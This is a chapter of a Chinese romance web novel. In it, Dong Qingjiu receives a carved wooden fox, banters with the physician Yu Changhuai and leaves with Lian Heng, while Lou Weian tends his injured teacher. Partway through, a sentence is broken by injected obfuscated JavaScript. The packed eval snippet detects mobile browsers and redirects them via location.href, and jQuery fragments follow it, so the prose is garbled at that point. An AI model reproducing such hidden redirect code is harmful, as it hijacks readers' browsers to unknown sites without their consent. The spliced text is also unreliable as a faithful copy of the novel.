54. 第 54 章
作品:《成为东清酒,我拒绝很多人》 崔寒生凭借着多年的密探经验,辗转腾挪,短刀与弯刀碰撞出刺眼的火花。
崔寒生眼前一黑,晕了过去。
而皇宫内,朱掌事已将账本和崔寒生找到的密档送到了李怍手中。李怍坐在御案后,缓缓翻开账本,看着上面密密麻麻的贪腐记录和楼曲首的印鉴,眼底的笑意彻底消失,取而代之的是一片冰寒。“楼曲首,你这把刀,终究是藏了反骨啊。”
“不急,楼曲首。”
……
东清酒翻了个身,手忽然触到个硬邦邦的东西,硌得她下意识皱了皱眉。
她揉着惺忪的睡眼坐起身,伸手一摸,从枕畔摸出个小巧的木头玩意儿,竟是一只雕刻得栩栩如生的木头狐狸。
狐狸的耳朵尖尖翘起,眼睛刻得圆溜溜的,尾巴微微卷曲,线条流畅又灵动,连身上的绒毛都用刻刀细细勾勒,摸起来光滑温润,带着淡淡的木头清香。
“原来是只木头狐狸,好可爱呀!”东清酒眼睛一亮,把小狐狸捧在手心翻来覆去地看,嘴角不自觉上扬,“这是谁放在这里的?”她歪着脑袋想了想,昨晚回来后倒头就睡,根本没留意枕畔有东西。
可这狐狸雕得这样讨喜,一看就是特意送给她的,她心里甜滋滋的,“不管了,放在我这里,定是给我的。”她小心翼翼地把木头狐狸放进随身的绣荷包里,拍了拍荷包,才起身梳洗。
想起昨天月如雪重伤的模样,东清酒心里惦记着,收拾妥当后便匆匆往客房走去。
刚到房门外,就闻到一股浓郁的草药香,鱼长淮正蹲在廊下,守着一个黑陶煎药罐,火苗舔舐着罐底,罐口冒着袅袅的白汽,暖了眼睛不住往后退。
“长淮,长淮……”东清酒放轻脚步走过去,声音还带着刚睡醒的沙哑,像被砂纸轻轻磨过。
鱼长淮闻言转头,一眼就看见东清酒踮着脚尖,小声小气地朝他走来,那副模样活像怕惊扰了谁。他忍不住笑出声,故意学着她的沙哑嗓音打趣:“清酒怎么了?嗓子怎么跟公鸭叫似的。”说着还歪着嘴,模仿她说话的腔调:“哎呦,哎呦!”
东清酒被他学得满脸通红,忍不住抿了抿嘴,腮帮子鼓鼓的,像只气鼓鼓的小松鼠:“长淮,别着急笑话我了!”她轻轻推了他一把,语气带着几分娇嗔,“和你说正事呢,昨天那姑娘怎么样了?就是楼为桉带来的那位,长淮你可千万别省钱,需要什么名贵药材,尽管让清漪去抓,拜托你一定要好好照顾她。”
鱼长淮抬手指指冒着热气的煎药罐,眼底还带着笑意:“看见没?我这正给她煎药呢。”他话锋一转,好奇地打量着东清酒,“我倒想问问你,她是楼大人带过来的人,怎么你反倒这么关心?”
东清酒翻了个大大的白眼,语气里满是无奈:“别提了!”她往煎药罐边凑了凑,压低声音抱怨,“那个楼为桉,不分青红皂白就把我当成伤害那姑娘的凶手!她要是有什么闪失,我呀,这条小命怕是就没跑了。”
“楼为桉他眼睛是长在脸上当装饰吗?”
鱼长淮嗤笑一声,语气犀利又护短,“就你?手无缚鸡之力的样子,还想伤人家?昨天那姑娘一看就是练家子,武功底子扎实得很,你这小鸡仔似的身板,人家一根手指头就能把你撂倒,如何伤得了她?”
“哎,可不是嘛!”东清酒像是找到了知音,连忙点头附和,激动得眼睛都亮了,“终于有人能懂我的无助了!还是长淮你明事理!”她一边说,一边还故意抹抹眼睛,做了个假哭的动作,模样滑稽又可爱。
可刚抹了两下,她忽然反应过来,瞪着鱼长淮:“不对呀!长淮,你说我手无缚鸡之力,是朋友该说的话吗?”话虽这么说,她脸上却没真的生气,转而叹了口气,“不过话说回来,那姑娘应该对楼大人来说很重要吧,人在情绪过激的情况下,做出错误判断也正常,只是他一口咬定是我伤的,也太无脑没边了。”
鱼长淮看着她眼底一闪而过的失落,收敛了玩笑的神色,语气温和了些:“感觉清酒有点失望呀。”
他拍了拍胸脯,语气笃定,“没事的,有我在,定不会让楼大人拿你小命开刀,那姑娘虽伤得重些,但好在没伤到要害,我鱼长淮医术妙手回春,保管她死不了。”
听到这话,东清酒脸上立刻绽开真心的笑容,眼睛弯成了月牙:“真的呀?那太好了!谢谢你长淮!”她搓了搓手,一副跃跃欲试的样子,“我现在能帮你什么?煎药可以吗?我来帮你看着火?”
“不用不用,你还是坐着歇会吧。”鱼长淮摆摆手,目光忽然落在她的脖颈上,眉头微微一挑。他伸手轻轻拨开她颈间的碎发,仔细端详着那道浅浅的刀痕,“你这脖子……还好上过药了,不然怕是要留疤。”
东清酒闻言一愣,下意识摸了摸自己的脖子,脸上满是疑惑:“啊?我怎么不记得我上过药了?我昨晚回来倒头就睡,根本没来得及上药呀。”
鱼长淮拿起手边装着百草膏的小瓷瓶,轻轻敲了敲她的额头,语气带着几分无奈:“马虎!”
东清酒捂着额头,嘻嘻笑了起来,表情乖张又讨喜:“啊,好像还有点痛感呢!长淮,你还是再帮我上点药吧,不然留了疤多难看呀。”
看着她这副没心没肺的模样,鱼长淮被逗得哈哈大笑,廊下的药香混合着两人的笑声,在晨光里弥漫开来,暖融融的。
“哇,你竟然还笑我!”东清酒佯装生气地瞪着他,眼底却盛满了笑意。
廊下的药香还未散尽,连衡他一身月白锦袍,衣摆沾了些微草叶上的湿气,刚踏入院门,目光便精准地落在了廊下嬉笑的两人身上。
东清酒正捂着额头嗔怪鱼长淮,眼角眉梢都漾着鲜活的笑意,像枝头上沾晨露的桃花。
连衡的脚步不自觉放轻,眼底瞬间漫起温柔的笑意,视线自始至终没从东清酒身上移开,连她抬手捋碎发的小动作,都被他牢牢收进眼底,仿佛她的一颦一笑,都是这世间最珍贵的景致。
他缓缓走过去,声音温润如晨光:“清酒,鱼先生。”
鱼长淮正逗着东清酒,见连衡过来,目光在两人之间转了一圈,立刻心领神会。
他笑着放下手中的药罐,拍了拍手上的药渣,语气带着几分调侃的知趣:“小侯爷来得正好,东姑娘怕是还没吃早点,你带她出去尝尝巷口的早茶铺吧,他家的肉包和杏仁茶,味道很不错。”
连衡对着鱼长淮微微颔首,算是谢过他的周全,目光依旧黏在东清酒身上,带着显而易见的期待。
就在这时,院门外传来一阵沉稳的脚步声。
楼为桉一身玄色劲装,面色冷峻地走了进来,路过连衡和东清酒身边时,只是斜睨了他们一眼,那眼神没有半分温度,仿佛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951917|190547||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人只是无关紧要的路人。
“小侯爷。”他对着连衡略一拱手,作揖行礼,语气平淡得听不出情绪。
连衡礼貌性地点了点头,手却握紧了身侧的东清酒。
他能清晰地感觉到,身边的姑娘身体几不可察地一颤,随即下意识地往他身后缩缩,小手紧紧攥住了他的衣袖,昨日那把架在脖颈上的刀,那句冰冷的质问,显然还在她心头留着阴影。
连衡低头看向躲在自己身后的东清酒,她的小脑袋微微垂着,睫毛轻轻颤动,这模样让他心头一软,嘴角不自觉扬起宠溺的弧度,仿佛得了什么稀世珍宝。随即他抬眸,目光瞬间变得锐利,直直对上楼为桉那双冰冷的眸子,语气带着几分不咸不淡的挑衅:“楼大人,我们正要出门吃早点,您要跟我们一起吗?”
不等楼为桉开口,连衡便接着说道,语速不快,却带着不容置喙的护短:“不过想来楼大人忙着给令师看伤,恐怕也没有时间对我们的早点感兴趣。”他说着,轻轻牵起东清酒的手,指尖温热的触感瞬间安抚了她的不安,“清酒,我们走吧。”
东清酒顺从地跟着他起身,被他牵着的手温暖而有力,让她心头的惧意渐渐消散。两人并肩走出庭院,阳光将他们的影子拉得很长,紧紧依偎在一起。
楼为桉僵在原地,目光死死盯着那交握的双手,盯着东清酒躲在连衡身后的背影,心口像是被什么东西堵住了,闷得发慌。昨日她在他面前红着眼眶辩解的模样,深夜里她熟睡时恬静的侧脸,此刻都与眼前这一幕重叠,化作尖锐的刺痛。
他亲手将她推到了别人的羽翼下,而她如今,连见了他都要害怕地躲藏。
“楼大人,楼大人……”鱼长淮的声音在耳边响起,才将他从怔忪中唤醒。
楼为桉猛地回过神,眼底的失神还未完全褪去,语气恍惚:“鱼先生,我师父怎么样了?”
鱼长淮没有多问,只是转身朝着客房的方向走去:“随我来看看吧。”他推开月如雪的房门,屋内弥漫着淡淡的药香,月如雪依旧沉睡着,脸色比昨日好了些许。鱼长淮端过一旁温着的药碗,递到楼为桉手中:“药凉得差不多了,喂给她吧,喝完药再睡一觉,醒来便能缓过来些。”
楼为桉接过药碗,才感觉到一丝真实感。
他看着碗中深褐色的药汁,又望向床榻上师父苍白的面容,喉结滚动了一下。
鱼长淮见状,便轻轻带上房门退出去,将空间留给这对师徒,屋内只剩下药香与浅浅的呼吸声,安静得能听见药汁在碗中轻轻晃动的声响。
月如雪的睫毛轻轻颤动了几下,像是挣脱了沉重的睡意。
她缓缓睁开眼,视线从模糊到清晰,率先映入眼帘的是楼为桉熟悉的侧脸。
刚想撑着身子坐起来,手臂却软得没力气,楼为桉立刻放下手中的药碗,快步上前,小心翼翼地扶住她的后背,动作轻柔。
“师傅,您慢点。”他低声叮嘱着,顺手从一旁拿过软垫,垫在她的腰后,调整到最舒服的角度,才松了口气,“您的身体感觉怎么样?有没有哪里不舒服?”
月如雪靠在软垫上,气息还有些不稳,嘴角却勾起一抹带着自嘲的笑:“师傅还死不了。”她环顾了一圈陌生的房间,雕花木窗透进柔和的晨光,空气中除了药香,还隐约飘着淡淡的酒香,“我们这是在哪?”

